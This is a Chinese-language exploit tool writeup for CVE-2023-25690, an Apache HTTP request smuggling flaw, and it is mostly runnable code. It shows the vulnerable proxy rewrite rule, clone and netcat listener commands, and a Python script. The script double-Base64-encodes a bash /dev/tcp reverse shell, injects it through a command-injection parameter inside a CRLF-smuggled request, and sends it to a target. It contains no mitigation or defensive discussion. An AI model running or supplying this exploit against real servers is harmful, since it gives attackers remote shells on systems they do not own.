深入解析CVE-2023-25690：Apache HTTP请求走私漏洞利用工具

RewriteRule "^/page/(.*)$" "http://127.0.0.1:8080/$1" [P]

# 克隆仓库
git clone https://github.com/qife/cve-2023-25690-exploit.git
cd cve-2023-25690-exploit

# 赋予执行权限
chmod +x smuggle_rce.py

nc -lvnp <你的监听端口>

python3 smuggle_rce.py -t <目标IP> -l <你的IP> -p <监听端口>

# 终端1：启动监听
nc -lvnp 4444

# 终端2：发起攻击
python3 smuggle_rce.py -t 10.10.10.10 -l 10.8.0.5 -p 4444

python3 smuggle_rce.py -t 10.10.10.10 -l 10.8.0.5 -p 4444 \
  --path /app/generate.php \
  --backend-path /generate.php \
  --param size \
  --backend-port 5000

def make_double_b64_bash_payload(lhost, lport):
    """
    构造双重 Base64 编码的反弹 Shell 命令。
    第一次编码：将原始 bash 命令转为 Base64
    第二次编码：再次编码，以穿越 URL 编码层和 shell 解析层
    """
    raw_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    once = base64.b64encode(raw_cmd.encode()).decode()
    twice = base64.b64encode(once.encode()).decode()
    return twice

def urlencode_crlf(s):
    """
    将字符串中的 CRLF 序列替换为 URL 编码形式 %0d%0a，
    并将空格编码为 %20，以便嵌入 URL 路径中传输。
    """
    return s.replace("\r\n", "%0d%0a").replace(" ", "%20")

def main():
    args = build_args()

    # 生成双重 Base64 编码的反弹 Shell Payload
    b64_payload = make_double_b64_bash_payload(args.lhost, args.lport)

    # 构造内层 POST 请求体：利用命令注入漏洞，通过 $() 执行解码后的反弹 Shell
    body = f"{args.param}=1;$(echo {b64_payload}|base64 -d|base64 -d|bash)"
    body_len = len(body.encode())

    print(f"[*] Target:           {args.target}:{args.target_port}")
    print(f"[*] Backend port:     {args.backend_port}")
    print(f"[*] Reverse shell to: {args.lhost}:{args.lport}")
    print(f"[*] Inner body length: {body_len}")
    print(f"[*] Inner body: {body}")

    # 构建内层完整 HTTP POST 请求（将被走私至后端）
    smuggled_request = (
        f"POST {args.backend_path} HTTP/1.1\r\n"
        f"Host: 127.0.0.1:{args.backend_port}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {body_len}\r\n"
        f"\r\n"
        f"{body}"
    )

    # 对内层请求进行 CRLF → URL 编码转换
    encoded_smuggled_part = urlencode_crlf(smuggled_request)

    # 构造外层请求行：在路径中注入编码后的内层请求
    request_line = (
        f"GET {args.path}%20HTTP/1.1%0d%0a"
        f"Host:%20127.0.0.1:{args.backend_port}%0d%0a%0d%0a"
        f"{encoded_smuggled_part} HTTP/1.1"
    )

    # 拼接最终完整请求
    full_request = (
        f"{request_line}\r\n"
        f"Host: {args.target}\r\n"
        f"\r\n"
    )

    print("\n---- SENDING ----")
    print(full_request)
    print("------------------")

    # 通过原始 TCP Socket 发送请求
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((args.target, args.target_port))
    s.sendall(full_request.encode())

    # 接收响应
    response = b""
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
    except socket.timeout:
        pass

    print("---- RESPONSE ----")
    print(response.decode(errors="replace"))
    s.close()

def build_args():
    """
    构建并解析命令行参数，提供完整的可定制选项，
    使得工具可适配不同的目标环境。
    """
    parser = argparse.ArgumentParser(
        description="CVE-2023-25690 HTTP Request Smuggling RCE exploit (generic)"
    )
    parser.add_argument("-t", "--target", required=True,
                        help="Target IP or hostname (front-end)")
    parser.add_argument("-P", "--target-port", type=int, default=80,
                        help="Target port (default: 80)")
    parser.add_argument("-l", "--lhost", required=True,
                        help="Your (attacker) IP for reverse shell callback")
    parser.add_argument("-p", "--lport", type=int, required=True,
                        help="Your (attacker) listener port")
    parser.add_argument("-b", "--backend-port", default="8080",
                        help="Backend internal port (default: 8080)")
    parser.add_argument("--path", default="/page/gen.php",
                        help="Vulnerable outer path used for the CRLF injection")
    parser.add_argument("--backend-path", default="/gen.php",
                        help="Real backend path the smuggled request should hit")
    parser.add_argument("--param", default="length",
                        help="Vulnerable POST parameter name reflected into a shell command")
    return parser.parse_args()